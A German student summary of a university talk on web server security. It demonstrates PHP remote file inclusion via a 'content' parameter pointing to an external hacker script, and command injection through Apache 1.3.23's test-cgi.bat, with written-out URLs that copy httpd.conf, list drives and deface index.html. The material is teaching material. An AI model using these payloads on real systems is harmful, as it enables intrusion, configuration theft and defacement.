Datenbanken und Netzanbindung Zusammenfassung von Michael Reiher zum Vortrag Webserver und Sicherheit. Meine Ausarbeitung befasst sicht sich mit Möglichkeiten eines Angriffs auf einen Webserver. Seite 1 von 8
Die Sicherheit spielt eine große Rolle, da in der heutigen Zeit das Image einer Firma häufig von ihrem Erscheinungsbild abhängt. Ihr Auftritt im Internet ist somit ein wichtiger Teil der gesamten Firmendarstellung. Sollten die unten beschriebenen Angriffe auf einen Webserver erfolgen, kann dies sehr schädlich für das Image der Firma sein. Beispiel 1: Im ersten Beispiel möchten wir zeigen, wie leicht es möglich ist, fremden Quellcode in eine mit PHP generierte Internetseite zu bringen. Darstellung der Internetseite im Browser Wie unten in der Statusleiste angezeigt, wird die aufzurufende Seite als Variable übergeben (dyn_webseite.php?content=news, für den Aufruf der News Seite). Seite 2 von 8
Quellcode der dyn_webseite.php Datei Diese Internetseite beinhaltet eine Tabelle mit zwei Zellen. In der linken Zelle befindet sich das Menu mit den zugehörigen Verlinkungen auf die jeweiligen Unterseiten. Mit Hilfe des include Befehls von PHP wird in der rechten Zelle nach dem auswählen des Menupunktes die Unterseite angezeigt. Seite 3 von 8
Wenn wir uns nun den HTML Quellcode einmal genauer ansehen, wird der Inhalt der rechten Tabellenzelle mit einem include Befehl eingebunden. Wenn also, wie in unserem Beispiel oben, "content=news" übergeben wird, so wird "news.php" geladen. Bis hierhin ist noch alles so verlaufen, wie sich das der Programmierer der Seiten gedacht hat. Jedoch wurde übersehen, dass auch externe Dateien von anderen Servern durch einen kleinen Trick eingebunden werden können. Darstellung der Internetseite im Browser mit Inhalt eines externen Servers Es ist also mit dem Aufruf " content=http://aachen.no-ip.org/hacker_script" über die Adressleiste im Browser möglich Seiten von anderen Servern einzubinden. Quellcode der hacker_script.php Datei Die Datei auf dem externen Server hat nun durch das include die Rechte der lokal abgelegten Dateien. Seite 4 von 8
Mit Hilfe eines weiteren PHP Scriptes ist es also z.b. möglich, sich durch ganze Verzeichnisse zu browsen. Darstellung der Internetseite im Browser mit einer Datei eines externen Servers Quellcode der hacker_2.php Datei Der Fehler war, dass man der Korrektheit der zu übergebenden Variablen zu großes Vertrauen geschenkt hat. Seite 5 von 8
Beispiel 2: Internetseite auf einem Apache 1.3.23 Webserver Im zweiten Beispiel nutzen wir eine Sicherheitslücke im Apache 1.3.23 und 2.0.x. unter Windows. Diese beiden Apache Typen haben im "cgi-bin" Verzeichnis ein cgi Test Script namens "/cgi-bin/test-cgi.bat". Übergibt man in einem fehlerhaften Aufruf Werte, so kann man beliebige aufrufe auf dem Webserver starten. Hier einige Aufrufbeispiele: 1) http://192.168.0.104/cgi-bin/test-cgi.bat? copy+..\conf\httpd.conf+..\htdocs\httpd.conf Dieser einfache Aufruf über die Adressleiste des Browsers kopiert die httpd.conf (Konfigurationsdatei des Apache) ins "htdocs" (Web Root Directory). An dieser Stelle kann man sich die gesamte Konfiguration anschauen oder downloaden. 2) http://192.168.0.104/cgi-bin/test-cgi.bat? dir+c:+d:+>..\htdocs\dir.txt Dieser Aufruf liest das Verzeichnis von der Festplatte C: und D: aus und speichert dieses in die Textdatei "dir.txt" im Verzeichnis "htdocs" (Web Root Directory). Seite 6 von 8
Adressleiste eines Webbrowsers mit Übergabe von Parametern an das fehlerhafte cgi test Script Darstellung der vom Angreifen erzeugten Textdatei 3) http://192.168.0.104/cgi-bin/test-cgi.bat? echo+------hacked by Orkomike ------ Vortrag Webserver - FH Aachen+>>+..\htdocs\index.html Dieser Aufruf ändert den Inhalt der "index.html" beliebig um, so dass wiederum das Firmenimage geschädigt werden kann. Seite 7 von 8
Darstellung der "Gehackten" Internetseite im Browser Literaturverzeichnis: Das Anti-Hacker-Buch, mitp Verlag Hack Proofing Linux, Syngress Verlag http://www.php.net http://neworder.box.sk http://alesoft.webcindario.com/utilidades_hacker.htm http://www.computec.ch/software/webserver/index.html Seite 8 von 8